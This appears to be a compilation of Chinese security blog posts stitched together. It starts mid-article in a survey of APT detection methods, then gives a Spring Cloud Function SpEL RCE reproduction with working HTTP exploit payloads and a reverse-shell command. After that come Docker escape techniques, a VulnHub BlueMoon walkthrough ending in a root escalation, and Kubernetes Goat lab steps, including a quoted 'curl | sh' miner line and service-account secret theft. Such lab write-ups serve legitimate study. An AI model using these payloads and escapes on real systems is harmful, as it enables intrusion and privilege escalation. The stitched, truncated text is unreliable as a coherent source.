再来看一个用污点图表示Google Desktop处理传入的web页面的例子
该方案检测结果如下
3、提出了利用硬件辅助进行恶意软件检测的方案。作者发现,与运行的正常软件相比,受感染的应用程序运行时会修改控制流/数据结构,而这种行为会反映在它的内存访问模式中。所以可以通过处理器内监视内存访问来检测,其内存访问会查看虚拟地址以获得更一致的签名。他们使用系统调用、函数调用和完整的程序运行来检测受感染程序的恶意行为。研究表明,不论是对用户级还是和内核级威胁都是可用的,并且针对内核级rootkit实现高精度的检测。其设计的框架如下所示
上半部分是训练,下半部分是运行检测。当使用system call检测rootkit时,结果如下
可以看到,准确率非常的高,而且误报率很低。
4、通过虚拟内存消耗来识别应用程序进程的异常行为,实现对恶意软件的检测。因为作者认为相比于网络操作或CPU利用率,内存使用的波动性较小,不易受到影响,而且使用的是虚拟内存而不是物理内存,因为后者不包含交换到硬盘的内存量。首先使用进程和psutil收集目标机器的内存指纹。然后通过机器学习算法,基于指纹、阈值和阈值因子为每个应用计算一个模型来检测异常行为。下面用图的方式可以帮助大家更好的理解其方案。
下图是三个进程的虚拟内存的时间序列
从时间序列中捕获的滑动窗口如下所示
当窗口大小为25时,6个进程的特征分布,图中不同颜色代表不同应用
下图展示了训练阶段的前三个步骤,可视化阈值。初始阈值为零(左);对于第二个数据点,它扩展到a(中间);在第三个点上,它扩展到b(右)
流量监控
APT攻击最关键的部分就是C&C通信行为,而且通信并不只发生一次,通常是在系统第一次被攻破后为了数据传输而反复进行。在终端层面监视任何带有新目的IP的网络数据包、异常payload的数据包以及发送到同一IP的大量数据包等特征有助于识别来自终端的任何可疑行为。
从流量中可以看到很多关键信息。
先看最简单的,从http请求中就可以看出GhosNet发往C2服务器的请求
这是php版本的
这是asp版本的
还可以从流量中看到challenge信息,如下所示就是RSA Poisonlvy样本的256字节的challenge请求
这在一次成功的TCP握手之后,由poisivy生成的网络流量,它从256字节的看似随机的数据开始。这些字节组成一个challenge请求,以查看“客户端”(即RAT控制端)是否配置了嵌入在“服务器”(即受害者)中的密码。
同样一个样本,还能看到keep-alive请求
接下来我们看看这方面一些经典的工作。
5、提出的方案可以从数千个终端中检测出少数表现出可疑活动的主机。他们通过观察多个主机间APT的关键阶段,并将每个主机的分析结果与它们的过去以及所观察到的网络中的其他主机进行比较,从而生成一个排名前k个的可疑主机列表。由于他们的方案不需要检测载荷,所以针对加密信道进行检测也是可行的。其方案的示意图如下
6、重点关注跟踪各种网络对象(如主机、主机组和网络),并确定它们是否存在威胁。他们将网络流量活动从网络流量采集到威胁分析分为五层,从多个不同的网络传感器(如网络流、NIDS、蜜罐)中收集数据,然后在多个时间段提取和聚合特征,以创建一个样本空间。然后使用有监督模型进行识别。分层示意如下所示,大多数技术都是在第一层运行,处理来自传感器的原始数据和事件。而作者的方法首先转换数据,即第2层,然后在第3层及以上应用分类模型
这篇工作的可视化做得很棒,如下所示
有三种不同的可视化显示了UDP行为(右上),TCP行为(左上)和所有协议(底部)。每个点代表一个行为特征空间中的一个主机,这些图显示了主机从“源到sink行为”,接收数据的主机在左边,向系统发送数据的主机在右边。
还对训练完成的SVM进行了可视化如下所示
beacon通信在超平面的右下角,表明其检测效果很不错。
7、是安全产商TrendMicro发布的APT报告,里面分析了不同的APT活动,如Taidoor、IXESHE、Enfal和Sykipot,这些恶意软件使用已知的协议(如HTTP)与C&C服务器建立通信,通常通过三个端口80、443、8080配置。攻击者通常使用这些端口,因为他们知道通常只有这些端口在防火墙级别是开放的。但是,这里的关键在于,攻击者可能会使用这些端口来传递不匹配的流量类型,例如在80端口发送任何非http流量或在443端口发送任何非https流量。可以通过检测这一特点实现预警。此外,作者认为,监视网络流量的时间和大小是另一个需要考虑的方面,因为恶意软件通常会在给定的时间间隔
8、利用基于流量的分析来检测APT,而不是基于网络,基于流量的分析将网络流量聚合在一起,从而减少了需要分析的数据量,之后对APT通信进行统计建模,成功设计出确定性的检测特征。其设计的框架如下所示
9、则将APT攻击与内部威胁的结合起来进行分析,将其表述为一个双层博弈问题,并进一步确定了博弈双方(防御者与APT攻击者)的最佳对策,并证明存在纳什均衡。防御者、APT攻击者和内部威胁人员的相互作用表示如下
文中给了很多数学公式推导,这里不再重复了,直接看结果吧
图3表示攻击者和防御者在每个时间点的动作。我们可以看到攻击者的稳定状态下的动作,即α是0.2,而防御者的稳定状态下的动作,即β是1。图4为系统状态向稳定状态的演化过程。稳定状态为0.1667。
表明最后确实达到了纳什均衡。
代码监控
源代码中可能存在的漏洞可以通过静态分析技术(如污点分析和数据流分析等技术)来识别。此外,可以在执行期间监视代码的性能,并确保代码在其范围内运行,不会访问未经授权的内存区域与其他资源,这样可以更早地识别出威胁。这一块是一个非常大的领域,我们实验室有其他小伙伴在研究,这里也不展开了,后续有机会的话单独发文与各位师傅一起学习。
日志监控
有很多日志都有助于检测,比如内存使用日志、CPU使用日志、应用程序执行日志、系统日志等。
日志种类、数量都很多,不同日志之间记录的格式又是不同的,怎么将其联系起来进行分析是非常重要的一个问题。
10、结合了网络日志和主机日志来检测恶意活动。他们从这些日志中提取了4类特征,身份特征,基于网络流量的特征,基于服务的特征和基于认证的特征,然后使用皮尔逊相关系数来减少冗余,然后删除那些对聚类没有贡献的特征,接着通过聚类以识别恶意活动。
下图是据源IP地址聚合的防火墙数据中所选特征的经验累积分布函数
下图是由源IP地址聚合的系统日志数据中所选特征的经验累积分布函数。
在原始的10维空间中进行聚类,使用DBSCAN聚类算法,对于参数值ε = 0.15和minPts = 21的防火墙数据,投影到前三个主成分用于可视化,效果如下
在指定参数后,DBSCAN识别出6个集群和一小组离群点。虽然从图中看不出来,但在进行聚类的高维空间中,聚类之间的距离实际上相当远。
在原始的28维空间中进行聚类。结合防火墙和系统日志数据的DBSCAN聚类,参数值设ε = 0.25和minPts = 20,投影到前三个主成分(PC)进行可视化
从上图中可以看到有四个簇和一组离群点。虽然聚类在图中看起来不是可分离的,但在进行聚类的高维空间中,它们是相当遥远的。其中簇1代表正常行为,而簇2、3和4被分类为异常行为。为了分析攻击的异常簇,我们计算每个簇的归一化平均特征向量,如下所示
每一个小表的横轴是特征,特征1 -18对应于从系统日志数据中提取的特性,而特征19 - 28对应于从防火墙日志中提取的特性。当根据异常簇的正常值对其排序时,我们可以认为簇2最有可能是恶意的,其次是簇4和簇3。由于簇群3只有唯一的IP地址,所以我们认为它只包含良性主机。
11、分析DNS日志来识别受感染的内部主机与外部恶意域名之间的的“beacon”活动,他们认为这种行为会在网络流和DNS日志中留下自己的记录。作者提出了一种DNS日志分析和事件关联的方法,通过考虑低延迟间隔时间,他们假设受感染的主机每天会与C&C服务器通信几次。通过识别受感染的主机,它们将与相同可疑域通信的其他主机连接起来。首先对DNS日志进行预处理,过滤不需要的数据,仅从DNS日志中获取IPv4地址。然后以图的方式表示元数据,图的顶点表示主机IP地址和域名,而每条边对应于从内部主机到外部机器的一个查询。
在Cobalt Strike中的Beacon大概就是如下所示
它可以使用SMB协议创建一个beacon,当然也可以使用HTTP或DNS等协议。初始任务是启动一个beacon侦听器来使用恶意payload并指定用于传输流量的端口号,payload提供两个通信通道。以上图为例,当域列表被提供之后,恶意软件会检查任务并通过HTTP或DNS下载它们。之后每次都要通过这些域,必须使用beacon向C2发送信号。如果一个域失败或被阻塞,恶意软件将进入休眠状态,直到下一个域可用。
该作者提出的基于DNS A记录进行迭代检测的方案流程如下
12、同样通过DNS日志分析来检测APT恶意软件和C&C通信活动。他们使用移动设备的DNS日志,他们的方法简单来说就是给C2域名和普通域名打分。为了区分正常和异常(C&C)域,他们根据内部设备发起的DNS请求的数量,选择正常域,提取15个特征,分为4大类:基于DNS请求和应答的特征,基于域的特征,基于时间的特征,以及基于whois的特征,然后通过分数进行识别。流程如下所示
所选的基于域名的特征总结如下表
下图是验证时,绘制的C&C域与普通域之间的距离差。
上图中x-轴代表不同的测试示例,前60个是C&C域名,后170个是普通域名。我们注意到,几乎所有C&C域的平均距离都大于0.2。
下图则展示了不同阈值的恶意软件C&C域的检测性能。检测性能表明,当参数设置为 0.2时,异常检测算法的误报率和误报率最低。
而针对日志中冗余数据、脏数据过多的问题,13、提出了从脏日志中提取信息和知识的方法。首先通过网络配置对日志数据进行过滤和规范化,然后将这些标准化数据处理成不同的特征,最后对这些提取的特征进行聚类,以确定任何可疑活动。他们使用了web代理日志、DHCP服务器日志、VPN服务器远程连接日志、认证尝试日志、防病毒扫描日志等不同来源的日志,然后根据目标、主机、策略和流量提取特征,通过适应性k-means聚类算法对特征进行聚类,最后成功找出行为与正常主机有显著差异的主机,这些主机就是被攻陷的机器。
参考
1.N. Virvilis and D. Gritzalis, “The big four-what we did wrong in advanced persistent threat detection?” in Availability, Reliability and Security (ARES), 2013 Eighth International Conference on. IEEE, 2013, pp. 248–254.
2.H. Yin, D. Song, M. Egele, C. Kruegel, and E. Kirda, “Panorama: capturing system-wide information flow for malware detection and analysis,” in Proceedings of the 14th ACM conference on Computer and communications security. ACM, 2007, pp. 116–127.
3.Z. Xu, S. Ray, P. Subramanyan, and S. Malik, “Malware detection using machine learning based analysis of virtual memory access patterns,” in 2017 Design, Automation & Test in Europe Conference & Exhibition (DATE). IEEE, 2017, pp. 169–174.
4.C. Vaas and J. Happa, “Detecting disguised processes using application- behavior profiling,” in Technologies for Homeland Security (HST), 2017 IEEE International Symposium on. IEEE, 2017, pp. 1–6.
5.M. Marchetti, F. Pierazzi, M. Colajanni, and A. Guido, “Analysis of high volumes of network traffic for advanced persistent threat detection,” Computer Networks, vol. 109, pp. 127–141, 2016.
6.O. McCusker, S. Brunza, and D. Dasgupta, “Deriving behavior primi- tives from aggregate network features using support vector machines,” in Cyber Conflict (CyCon), 2013 5th International Conference on. IEEE, 2013, pp. 1–18.
7.N. Villeneuve and J. Bennett, “Detecting apt activity with network traffic analysis,” Trend Micro Incorporated Research Paper, 2012.
8.A. Vance, “Flow based analysis of advanced persistent threats detecting targeted attacks in cloud computing,” in Problems of Infocommuni- cations Science and Technology, 2014 First International Scientific- Practical Conference. IEEE, 2014, pp. 173–176.
9.P. Hu, H. Li, H. Fu, D. Cansever, and P. Mohapatra, “Dynamic defense strategy against advanced persistent threat with insiders,” in Computer Communications (INFOCOM), 2015 IEEE Conference on. IEEE, 2015, pp. 747–755.
10.A. Bohara, U. Thakore, and W. H. Sanders, “Intrusion detection in enterprise systems by combining and clustering diverse monitor data,” in Proceedings of the Symposium and Bootcamp on the Science of Security. ACM, 2016, pp. 7–16.
11.A. Shalaginov, K. Franke, and X. Huang, “Malware beaconing detec- tion by mining large-scale dns logs for targeted attack identification,” in 18th International Conference on Computational Intelligence in Security Information Systems. WASET, 2016.
12.W. Niu, X. Zhang, G. Yang, J. Zhu, and Z. Ren, “Identifying apt malware domain based on mobile dns logging,” Mathematical Problems in Engineering, vol. 2017, 2017.
13.T.-F. Yen, A. Oprea, K. Onarlioglu, T. Leetham, W. Robertson, A. Juels, and E. Kirda, “Beehive: Large-scale log analysis for detecting sus- picious activity in enterprise networks,” in Proceedings of the 29th Annual Computer Security Applications Conference. ACM, 2013, pp. 199–208.
Spring Cloud Function SpEL表达式RCE漏洞复现分析
简介
Spring Cloud功能特点
影响版本
3.0.0.M3 <= Spring Cloud Function <=3.2.2
漏洞复现
环境搭建
选择版本为V3.1.6
根据Tags的更新时间选择,还是选择3.1.6比较稳妥,使用IDEA导入项目
jar包的下载确实很慢,真是麻了。实际上不用下载那么多jar包,确实用不到,导入项目于
\spring-cloud-function-3.1.6\spring-cloud-function-3.1.6\spring-cloud-function-samples\function-sample-pojo修改配置文件spring-cloud-function-3.1.6\spring-cloud-function-3.1.6\spring-cloud-function-samples\function-sample-pojo\src\main\resources\appliaction.properties添加
spring.cloud.function.definition:functionRouter
配置maven启动项目
http://127.0.0.1:8080
利用
构造payload
POST /Ggoodstudy HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 4
gdsf
这不就吐了么,修改配置文件才能RCE????
但是修改路由,当路由指定为functionRouter的时候,不修改配置文件已经可以执行恶意payload
POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 14
dfdfijkghjkg
POST请求且必须传参。
反弹shell
bash -i >& /dev/tvp/xx.xxx.xx.xx/port 0>&1
进行base64编码,由于这里我使用的是windows环境,所以无法使用反弹shell,具体需要对反弹shell命令进行编码的原因在分析CVE-2018-1270的时候已经分析过了。
漏洞分析
首先我们需要了解到spring框架中比较常见的几个jar包
spring-beans
所有应用都要用到的,它包含访问配置文件、创建和管理bean 以及进行Inversion of Control / Dependency Injection(IoC/DI)操作相关的所有类。
spring-Expression
进行SpEL表达式解析
spring-core
Spring 框架基本的核心工具类。Spring 其它组件要都要使用到这个包里的类,是其它组件的基本核心
spring-jdbc
存放对jdbc数据库数据访问所有相关的类
spring-messaging
api以及协议接口
spring-context
为Spring核心提供了大量扩展。可以找到使用Spring ApplicationContext特性时所需的全部类等
spring-web
包含Web 应用开发时,用到Spring 框架时所需的核心类,包括自动载入Web Application Context 特性的类、Struts 与JSF 集成类、文件上传的支持类、Filter 类和大量工具辅助类。
pring-webmvc
包含Spring MVC 框架相关的所有类。包括框架的Servlets,Web MVC框架,控制器和视图支持。
向上查找利用链
SpEL表达式的内容是在spring-expression中处理的,在RoutingFunction类中调用
这里会取出spring.cloud.function.routing-expression:属性的spel表达式
这个方法属于布尔型的判断,这里的属性构造在请求头内,调用了apply方法
继续向上分析
到达SimpleFunctionRegistry.java类的698行,这个apply的方法的触发时
是在646行定义的,且调用方法doapply,而doapply也在apply方法中调用了,在往上查找就到了FunctionWebRequestProcessingHelper类的processRequest方法
继续向上查找,到了控制层了,到此为止我们的向上查找已经结束,利用链很强清晰,那么对不对呢,我们使用向下查找利用链来做验证,请看下文
向下查找利用链
控制层传入数据首先查找路由,在control层的定位在FunctionControl类中的74行
调用FunctionWebRequestProcessingHelper类中的http请求参数方法processRequest
可以看到processRequest方法会获取到我们构造payload的方法,在方法为RoutingFunction的情况下会直接调用RoutingFunction类中的applay方法
此时我们可以看到这里调用了Route方法
而在该方法中会读取构造的请求头spring.cloud.function.routing-expression属性的值,调用了方法functionFormExpression,但是在该方法中的parseExpression方法会对SpEL表达式进行解析
那么我们在调试的过程中
getValue方法执行的又是什么呢?
这里自然是执行的传入的paylaod的内容以及执行解析后的表达式
到这里我们能够发现两条链刚好是对称的,说明分析没有问题。
总结
分析了spring-cloud-function可以发现,spring框架的几个由SpEL表达式注入造成的RCE的触发点基本上都很相似,触发类以及触发路由分析对于漏洞挖掘来说都有可以借鉴的地方。
从Docker挂载逃逸原理复现分析到BlueMoon实战
Docker逃逸
什么是Docker
Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 Linux或Windows操作系统的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。正因为docker属于沙箱机制,所以当获得docker容器的权限时与获得宿主机权限是两个概念。
Docker逃逸
配置不当引起的docker逃逸
docket remote api未授权访问导致逃逸
特权模式逃逸
挂载敏感目录
内核漏洞提权实现逃逸(针对Linux内核利于dirtycow、dirtypipe等)
Docker本身漏洞(CVE)
CVE-2019-5736
CVE-2019-14271
这里主要测试挂载卷造成的逃逸
挂载敏感目录逃逸之特权模式挂载逃逸
实验环境:ubuntu16.04 ,docker 版本 20.10
service docker status
docker的状态是开启的,未安装docker需要安装
特权模式下启动一个容器
docker run -it --privileged ff6f /bin/bash
查看docker容器磁盘文件
fdisk -l
正常环境安装的时候也都会创建磁盘文件,所以这些目录下会有很多文件
ls /dev
创建一个目录名为"test",名字任意创建
mkdir test
此时test目录下无任何文件,将/dev/sda1挂载在test目录下
mount /dev/sda1 /test
查询test目录
此时例如home等目录下是没有任何文件的
将amazing写入/test/home/1.txt
echo "amazing" >/test/home/1.txt
此时宿主机home,目录下是存在1.txt文件的
挂载敏感目录逃逸之docker.sock 挂载
Docker架构相当于C/S架构,docker.sock就是docker中套docker,docker的client和server的通信模式参考
https://www.jb51.net/article/99019.htm 因为确实找不到什么比较官方或者正式的介绍,华为云的介绍只是介绍了网络通信模式
socket的连接方式有三种
unix:///var/run/docker.sock
tcp://host:port
fd://socketfd
利用docker.sock逃逸的前提条件
攻击者获得了 docker 容器的访问权限
容器已安装/var/run/docker.sock
使用挂载实现docker.sock,拉取一个镜像ubuntu16.04
docker pull ubuntu:16.04
查看镜像
docker images
运行一个挂载/var/run/的容器
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash
进入docker容器内
apt-get install docker.io
这个时候安装可能报错
更新源
apt update
更新源之后重新安装docker,因为拉取的ubuntu内未安装docker或者可能是docker版本过老
apt-get install docker.io
查看宿主机信息
docker -H unix://var/run/docker.sock info
利用docker.sock再创建一个docker容器,挂载/var/run
docker -H unix://var/run/docker.sock run -v /:/test -it ubuntu:16.04 /bin/bash
此时查看test目录下可看到宿主机文件文件
实现逃逸。这里本来打算使用alpine镜像,这里说说什么是alpine镜像
alpine(https://www.alpinelinux.org/)是一个官方推荐的基础镜像,大小5MB,相对于ubuntu的大小来说下载方便,但是拉取ubuntu镜像也比较方便。
但是alpine在更新apk的时候,比较慢
所以还是建议使用ubuntu,这里可以利用docker逃逸去复制宿主机的source.list更换源,可能会快一点。
原理
过程可分为两部分
文件写入
将数据写入文件,它可用于执行特权写入或在受限文件系统之外写入文件,通过将文件复制到临时容器并返回到主机上的目标位置来写入文件。
CONTAINER_ID="$(docker run -d alpine)" # or existing
TF=$(mktemp)
echo "DATA" > $TF
docker cp $TF $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF file_to_write
文件读取
它从文件中读取数据,它可用于进行特权读取或在受限文件系统之外公开文件,通过将文件复制到临时容器并返回到主机上的新位置来读取文件。
CONTAINER_ID="$(docker run -d alpine)" # or existing
TF=$(mktemp)
docker cp file_to_read $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF $TF
cat $TF
二进制文件设置了 SUID 位,会被滥用来访问文件系统、升级或维护特权访问作为 SUID 后门,上面那个复现过程实现了创建二进制文件的本地 SUID 副本并运行它以维护提升的权限,要与现有的 SUID 二进制文件交互,请跳过第一个命令并使用其原始路径运行程序,其最终结果是在容器B中实现了对宿主机权限的控制。
BlueMoon简介
Name: BlueMoon: 2021
Date release: 7 Apr 2021
Author: Kirthik
Series: BlueMoon
环境搭建
攻击机kali
IP 192.168.158.39
目标靶机Debian,ip地址未知,dhcp自动获取
下载地址
https://download.vulnhub.com/bluemoon/bluemoon.ova 导入虚拟机,官网描述是使用vb,但是vmware可以导入,然而出现问题获取不到网卡
信息搜集
netdiscover -n 192.168.248.39/24
我使用搞得热点比较容易确定目标靶机,扫描端口
nmap -A -p- 192.168.158.250
开放三个端口21,22以及80
扫描目录,指纹识别,既然是靶场要考虑到21端口是不是匿名用户或者22和21端口是否能爆破,直接对21和22端口爆破并未有结果,也可能是字典的问题,但是换了几个字典确实没用,扫描目录使用dirsearch扫描目录,内置字典并不能扫描出结果,换字典
python3 dirsearch.py -u "http://192.168.158.250" -e *
访问是个二维码,扫描的内容
#!/bin/bash HOST=ip USER=userftp PASSWORD=ftpp@ssword ftp -inv $HOST user $USER $PASSWORD bye EOF
获取flag
ftp的账号密码
userftp/ftpp@ssword
工具连接或者命令行都可
在information.txt中告诉了,p_list.txt为密码字典,用户名为robin,
上级目录中有jerry中有个用户名的txt,但是无法查看文件,使用robin用户爆破
账号密码
robin/k4rv3ndh4nh4ck3r
ssh登录
ssh robin@192.168.158.250
ls
cat user1.txt
使用命令
sudo -l
告诉了jerry权限可以执行/home/robin/project/feedback.sh
横向提权
sudo -u jerry /home/robin/project/feedback.sh
jerry
/bin/sh
当前用户为jerry,这个时候我们就可以读取前面不能读取的user2.txt,因为这个时候在home/robin,所以切换用户目录读取或者直接读取文件
垂直提权
给出提示使用find继续提权到root,所以这里应该的考点就是suid提权了,因为不是交互式的shell使用起来不方便,所以使用python获取交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
查询是否有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
find /usr/bin/passwd -exec "/bin/sh" \;
无果,,,,纳闷儿了
docker images
docker ps
镜像没起起来,搜索一下才知道这里需要使用镜像挂载来进行提权
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
此时已经为root权限,读取根目录下的root.txt
结语
这个靶机有点儿不怎么有好的地方在于对于字典的要求比较高,难点在于使用镜像挂载提权,这里可参考文章应该是讲镜像挂载原理比较清晰的文章吧。
通过Kuberneters Goat学习K8S安全(下)
实验环境:https://katacoda.com/madhuakula/scenarios/kubernetes-goat
0x9 Helm v2 tiller 风险(已弃用)
此方案已被弃用,供学习参考,环境默认是 Helm v3版本,可以安装Helm v2版本来实验
Helm是Kubernetes的包管理器。这就像ubuntu的apt-get。在此场景中,利用较旧版本的HELM(版本2),tiller 服务 RBAC 默认设置获取集群的访问权限。
helm init --service-account=tiller --tiller-image=gcr.io/kubernetes-helm/tiller:v2.14.1 --history-max 300
运行以下命令开启场景:
kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash
默认情况配置下,Helm v2 Ttiller部署具有完全群集管理员权限的RBAC。
默认安装在 kube-system 命名空间中,服务名称为tiller-deploy,端口 44134 暴露在 0.0.0.0。所以我们可以通过运行 telnet 命令来验证。
telnet tiller-deploy.kube-system 44134
现在,我们可以连接到tiller服务端口了。我们可以使用 helm 来执行操作并与 tiller 服务通信。
让我们试试是否可以从Kube-System命名空间获取集群中的Kubernetes secrets
发现没有权限访问。
然后可以创建自己的 helm chart来授予默认服务帐户完全集群管理员访问权限,因为默认情况下,当前 pod 部署在具有默认service account的默认命名空间中。
helm --host tiller-deploy.kube-system:44134 install --name pwnchart /pwnchart
现在 pwnchart 已部署,它已授予所有默认服务帐户集群管理员访问权限。因此,让我们再次尝试获取 kube-system namespace secrets
此场景会改变Tiller部署的执行方式,有时管理员会使用特定权限将Tiller部署到特定的名称空间。同样在Helm v3中,也没有tiller服务来缓解此类漏洞。
参考资料:
https://engineering.bitnami.com/articles/helm-security.html
0x10 分析被部署挖矿软件的容器镜像
针对基础设施的挖矿攻击越来越流行。尤其是像 Kubernetes 这样的环境很容易成为目标,因为你甚至看不到容器镜像到底是基于什么构建的,以及它在主动监控方面做了什么。在此场景中,我们将分析和识别被植入挖矿软件的容器镜像。
首先,确定 Kubernetes 集群中的所有资源/镜像和包括作业。
controlplane $ kubectl get jobs
NAME COMPLETIONS DURATION AGE
batch-check-job 1/1 6m32s 32m
hidden-in-layers 0/1
标识Kubernetes群集内的所有资源。尽可能详细了解集群内所有节点中可用的每个容器镜像的详细信息。
一旦我们确定了在Kubernetes集群中运行的作业,就可以通过运行以下命令来获取Pod信息。
kubectl describe job batch-check-job
获取pods信息:
kubectl get pods --namespace default -l "job-name=batch-check-job"
获取pod信息manifest并分析:
kubectl get pod batch-check-job-xxxx -o yaml
可以看到Docker镜像名称是madhuakula/k8s-goat-batch-check
然后通过docker history查看镜像的构建历史记录:
docker history --no-trunc madhuakula/k8s-goat-batch-check
我们发现它在其中一层的构建中植入了恶意挖矿脚本
curl -sSL https://madhuakula.com/kubernetes-goat/k8s-goat-a5e0a28fa75bf429123943abedb065d1 && echo 'id' | sh " > /usr/bin/system-startup && chmod +x /usr/bin/system-startup
0x11 绕过Kubernetes命名空间
场景描述
默认情况下,Kubernetes 使用平行网络架构,这意味着集群中的任何 pod/service都可以与其他 pod/service 通信。默认情况下,集群内的命名空间没有任何网络安全限制。命名空间中的任何容器都可以与其他命名空间通信。我们听说 Kubernetes-Goat喜欢缓存。让我们看看我们是否可以访问其他命名空间。
首先运行以下命令,创建一个名为hacker-container的容器:
kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh
收集集群IP信息:
ip route
ip a show
printenv
基于对系统的分析/理解,尝试使用zmap扫描集群内的redis服务信息:
zmap -p 6379 10.0.0.0/8 -o results.csv
查看结果:
还有另一种方法可以访问 Kubernetes 中的服务/pod。例如使用 https://kubernetes.io/docs/concepts/services-networking/service/#dns cache-store-service.secure-middleware (servicename.namespace)。https://kubernetes.io/docs/concepts/services-networking/service/#dns
使用redis-cli进行连接
集群内还有许多其他的服务和资源,比如ElasticSearch,Mongo等等。所以,如果你的侦察技术很好,那么你可以在这里找到很多有价值的东西。
0x12 获取环境信息
场景描述
Kubernetes 中的每个环境都会有很多信息要共享。包括Secrets、API Keys、配置、服务等等关键内容。所以让我们继续收集关键信息!
访问http://127.0.0.1:1233
收集系统关键信息
id
cat /proc/self/cgroup
cat /etc/hosts
mount
ls -la /home/
获取环境变量,包括 Kubernetes Secret 的 K8S_GOAT_VAULT_KEY=k8s-goat-cd2da27224591da2b48ef83826a8a6c3 和服务名称、端口等。
0x13 针对环境的DoS风险
场景描述
如果Kubernetes 资源清单中没有规范,也没有为容器应用限制范围。作为攻击者,我们可以消耗 pod/deployment 运行的所有资源,并饿死其他资源,从而对环境造成 DoS攻击。
本场景在http://127.0.0.1:1236中完成
此部署 pod 未在 Kubernetes 清单中设置任何资源限制。所以我们可以轻松执行一些列消耗资源的操作。
在这个 pod 中,安装了一个名为 stress-ng 的程序(压力测试工具)
执行之前查看资源情况:
kubectl --namespace big-monolith top pod hunger-check-deployment-5d94d56fdb-hc2bv
执行 stress-ng 的程序
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
再次查看资源情况:
此攻击在某些情况下可能不起作用,如自动扩展、资源限制等情况
0x14 hacker-container 简介
场景描述
这个场景只是对Kubernetes集群环境中的常见安全实用程序的探索。在之前你可能已经多次使用过hacker-container了。
运行:
kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh
Hacker Container是一个实用工具,其中包含黑客入侵Kubernetes集群时可能会用的工具/命令列表。因此,你可以使用它对 Kubernetes 环境进行自由探索。在这里,我们介绍一些强大的实用程序。
容器自检实用程序,用于获取系统功能的概述:
amicontained
针对内部服务执行 Nikto 扫描
nikto.pl -host http://metadata-db
还有许多其他程序。为了最大限度地利用hacker-container,我们可以使用主机特权、卷、进程等等。
0x15 Hidden in layers
场景描述
敏感信息泄露是普遍存在的最常见漏洞之一。在容器化世界中,密码、私钥、令牌等很容易被错误处理。此场景下,我们将分析和识别导致敏感信息泄露等此类处理不当的不良做法之一。
执行以下命令,开始本次场景:
kubectl get jobs
尝试浏览运行容器中的所有文件、环境变量等。接下来,尝试用不同的工具分析上面使用的镜像,以找到暴露的敏感信息。
获取详细信息:
使用docker cli分析镜像信息
docker inspect madhuakula/k8s-goat-hidden-in-layers
可以看到镜像设置了容器启动时要执行的一些命令。但获取的信息还太少,继续探索。
如果我们了解这个镜像是如何从头开始构建的,也许对我们会更有帮助。如果你有 dockerfile,可以直接分析镜像的 dockerfile。如果没有,可以通过其他几种方法分析。
方法一,查看构建历史
docker history --no-trunc madhuakula/k8s-goat-hidden-in-layers
可以看到在构建镜像的时候,添加了一个secret.txt的文件,可能是密钥之类的敏感文件。
方法二,通过镜像反向生成dockerfile
可以通过alpine/dfimage 工具生成指定镜像的dockerfile
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers
方法三,使用Dive工具
Dive 是一个非常棒的工具,可以帮助分析镜像的每一层。https://github.com/wagoodman/dive
安装方式可以参考官方说明,使用方法如下
dive madhuakula/k8s-goat-hidden-in-layers
从以上分析中,我们可以看到/root/contributions.txt, /root/secret.txt这两个比较重要和可疑的文件。
接下来看看是否可以在运行的容器中找到这些文件。
可以看到只有contribution.txt,而secret.txt,在构建的时候被删除了。我们现在想办法恢复它。
首先使用docker save把镜像导出为文件。
docker save madhuakula/k8s-goat-hidden-in-layers -o hidden-in-layers.tar
解压出来:
tar -xvf hidden-in-layers.tar
我们可以看到每个层都被导出为一个单独的tar文件。这个镜像有3层,所以有3个tar文件。这里因为只有3层,所以很容易提取所有的层并检查内容,但如果镜像有上百层,这个方法就不太好用了。
根据之前dive的检查结果
在id为da73da4359e9edb793ee5472ae3538be8aec57c27efff7dae8873566c865533f的这一层,添加了secret.txt文件,所以我们解压这一层的tar进行文件分析
找到了关键信息。
参考:
深入了解docker层:https://jessicagreben.medium.com/digging-into-docker-layers-c22f948ed612
0x16 RBAC最低权限配置错误
场景描述
在现实世界中,们经常看到开发人员和 devops 团队往往会提供超出需求的额外权限。这种情况发生时,攻击者获得了比他们预期的更多的控制权和特权。在此场景中,你可以利用绑定到 pod 的 serviceaccount 提供的 webhookapikey 访问权限。但这也会让攻击者可以控制和获取敏感资源。获得对 vaultapikey 的访问权限。
首先访问http://127.0.0.1:1236
此部署具有映射了过度许可策略/访问权限的自定义服务帐户。作为攻击者,我们可以利用这一点来访问其他资源和服务。
由于Kubernetes默认情况下将所有secrets、tokens和service accounts信息都存储在一个固定的目录。
直接访问这个目录,查找敏感的信息:
cd /var/run/secrets/kubernetes.io/serviceaccount/
ls -la
现在我们可以使用这些信息与 Kubernetes API 服务进行交互,该服务具有对令牌的可用权限和特权。
指向内部 API 服务器主机名:
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
设置 ServiceAccount 令牌的路径
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
